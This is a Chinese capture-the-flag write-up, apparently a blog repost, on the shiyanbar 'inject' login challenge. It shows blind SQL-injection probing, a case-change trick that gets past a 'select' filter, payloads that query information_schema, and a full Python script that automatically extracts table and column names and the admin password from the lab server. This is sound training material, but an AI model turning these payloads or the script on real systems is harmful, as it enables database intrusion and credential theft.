zoukankan      html  css  js  c++  java
  • 看起来有点难(实验吧“注入”)

    这两天学的东西比较少,更多的时间在尝试一些ctf题,熟悉一下套路,扩展一下脑洞,顺便写一些小工具来提升码代码的水平。

    废话不多说,直接来看题吧。

    原地址在这里 I'm here

    是一个登陆界面,开始怕作者埋什么套路,所以首先看了下源码,发现什么提示都没有。那接下来就要靠自己去尝试了。账号和密码输入admin admin 用弱口令先去尝试,发现页面回显提示登录失败。

    注意看,我们输入的用户名在页面中显示出来了。说明我们插入的语句被拿到数据库中去执行了,接下来我们来判断是否存在注入,是什么类型的注入。输入 admin' admin页面什么提示都没返回。

    但是我们在用户名处输入的admin'被输出到页面了,这是好事,说明单引号没有被过滤,之所以没有返回提示信息,我猜测是没有闭合语句导致的,所以我们试试来闭合一下试试。在用户名处输入  admin' ='  得到

    得到提示了,根据这个提示我又尝试了其他语句, 比如 1' or '1'='1,发现和只输入admin时得到的信息一样,提示登录失败,这说明admin是正确的用户名,到这里我们就只剩下密码不知道了。到了这里就确定是盲注了,因为页面只回显给我们 0和1。接下来fuzz了一下,发现过滤了select,这我当时懵逼了,这无论怎么绕过都js提示注入攻击,后来发现是一个蹩脚的题,利用大小写绕过虽然也弹框提示注入攻击,但是却可以正常执行.

    接下来就是构造语句来进行盲注了,过程就不多叙述了,把需要的语法记录下来,后面附自己写的垃圾脚本。

     查询表的长度:(由于该题前端的限制,只允许输入10个以内的字符,我是在hackbar里测试的)

    admin' length((Select group_concat(table_name)from information_schema.tables where table_schema = database()))>n

    猜表名:

    admin' ascii(substr((Select group_concat(table_name)from information_schema.tables where table_schema = database()),n,1))=m  //这里注意用二分法

    同样的方法猜字段名以及爆破密码。由于手工太浪费时间了,自己写了个小脚本,下午又完善了一下,在这里发出了,半自动- -,  另外由于暂时不会多线程,所以爆破的很慢。

    #-*- coding:utf8 -*-
    import requests
    import re
    tname = ''
    cname = ''
    password = ''
    flag =''
    
    url = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1'
    payload = '%27%20or%20length((Select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema%20=%20database()))={m}%20--%20&pass=&action=login'
    
    for i in range(1,10):
    	payload1 = payload.format(m=i)
    	url1 = requests.get(url+payload1)
    	if '</center></div>' in url1.content:
    		print 'length:',i
    		break
    payload2 = '%27 or ascii(substr(({x}),{y},1))={z}-- &pass=1&action=login'
    print u'客观稍等......'
    for k in range(1,i+1):
    	for d in range(60,124):
    		payload3 = payload2.format(x='Select group_concat(table_name)from information_schema.tables where table_schema = database()',y=k,z=d)
    		url2 = requests.get(url+payload3)
    		if '</center></div>' in url2.content:
    			tname += chr(d)
    			break
    print 'table_name:',tname
    
    
    pp = '%27 or ascii(substr((Select group_concat(column_name)from information_schema.columns where table_name ={s}),{s1},1))={s2}-- &pass=1&action=login'
    print u'要不坐下来喝杯茶吧。'
    for k1 in range(1,18):
    	for k2 in range(0,124):
    		pp1 = pp.format(s="'%s'"%tname,s1=k1,s2=k2)
    		url3 = requests.get(url+pp1)
    		if '</center></div>' in url3.content:
    			cname += chr(k2)
    			break
    print cname
    
    print u'就要完成了,loading......'
    cn = raw_input('column_name:')
    p1 = '%27 or ascii(substr((Select {cnn} from {tnn}),{nn},1))={mm}-- &pass=1&action=login'
    for kk in range(1,9):
    	for kk1 in range(0,124):
    		p2 = p1.format(cnn='%s'%cn,tnn='%s'%tname,nn=kk,mm=kk1)
    		uu = requests.get(url+p2)
    		if '</center></div>' in uu.content:
    			password += chr(kk1)
    			break
    
    url4 = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin={admin}&pass={passwd}&action=login'
    url5 = url4.format(admin='admin',passwd='%s'%password)
    u1 = requests.get(url5)
    if 'KEY' in u1.content:
    	bb = re.findall('KEY :(.*?)</center>',u1.text)
    	print u'[+]....恭喜喽!....[+]'
    	print 'flag',bb
    

     效果图:

    生活不止眼前的苟且,还有未来的苟且!!!!共勉。

  • 相关阅读:
    如何把项目中经常使用的信息放在全局的对象里,随取随用?
    优秀代码
    gcc编译C代码后,输出乱码
    mybatis !=null的一个坑
    String转int[]
    插值算法的公式 mid=low+(key-a[low])/(a[high]-a[low])*(high-low) 是怎么来的
    关于Leetcode的交替打印FooBar,我的答案一直超时
    git找回前几个版本删除的某个文件
    Google 此手机号无法用于验证 解决方法
    Postgresql 一对多如何将原本用,隔开的id替换为name
  • 原文地址:https://www.cnblogs.com/s1ye/p/8306440.html
Copyright © 2011-2022 走看看